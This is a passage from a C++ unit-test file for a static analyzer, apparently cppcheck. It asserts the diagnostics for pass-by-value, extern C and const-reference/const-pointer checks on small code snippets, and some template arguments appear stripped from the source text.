\"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const 